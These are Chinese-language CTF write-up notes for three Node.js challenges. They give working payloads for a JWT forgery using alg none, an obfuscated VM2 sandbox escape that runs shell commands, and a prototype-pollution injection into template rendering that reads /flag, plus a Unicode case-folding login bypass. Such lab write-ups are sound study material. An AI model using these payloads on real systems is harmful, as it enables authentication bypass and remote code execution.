nodejs
P### [HFCTF2020]EasyLogin
先从app.js中找到提示,利用任意文件读取漏洞读取controllers目录中的文件
controllers目录是项目控制器存放目录:接受请求,处理逻辑
发现是jwt伪造,这里把加密方式置为空,payload:
{"alg":"none","typ":"JWT"}.{"secretid":[],"username": "admin","password": "a","iat": 1587632063}.
username=admin&password=a&authorization=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjogImFkbWluIiwicGFzc3dvcmQiOiAiYSIsImlhdCI6IDE1ODc2MzIwNjN9.
登录后访问一下flag页面即可。
[HFCTF2020]JustEscape
VM2沙箱逃逸,用现成的POC,
关键字被过滤,可以采用字符串拼接,
引号被过滤,可以用反引号拼。
模板字符串使用反引号 (` `) 来代替普通字符串中的用双引号和单引号。模板字符串可以包含特定语法(${expression})的占位符。
payload:
(function (){
TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`whoami`).toString();
}
})()
原理二刷失败,静等找机会三刷(我是fw)
链接在此
[GYCTF2020]Ez_Express
下载源码,有merge和clone函数,经典原型链污染。
先放上p师傅的文章:
深入理解 JavaScript Prototype 污染攻击
Fuzz中的javascript大小写特性
首先要用admin登录,利用toUpperCase函数的特性,
两个奇特的字符"ı"、"ſ"的“大写”是I和S。也就是说"ı".toUpperCase() == 'I',"ſ".toUpperCase() == 'S'。通过这个小特性可以绕过一些限制。
注册username为admın(不是admin),经处理后能以admin登录。
clone操作将body转化为一个对象,可以利用原型链污染res.outputFunctionName,配合ssti执行任意命令。
payload:
{"lua":"a","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}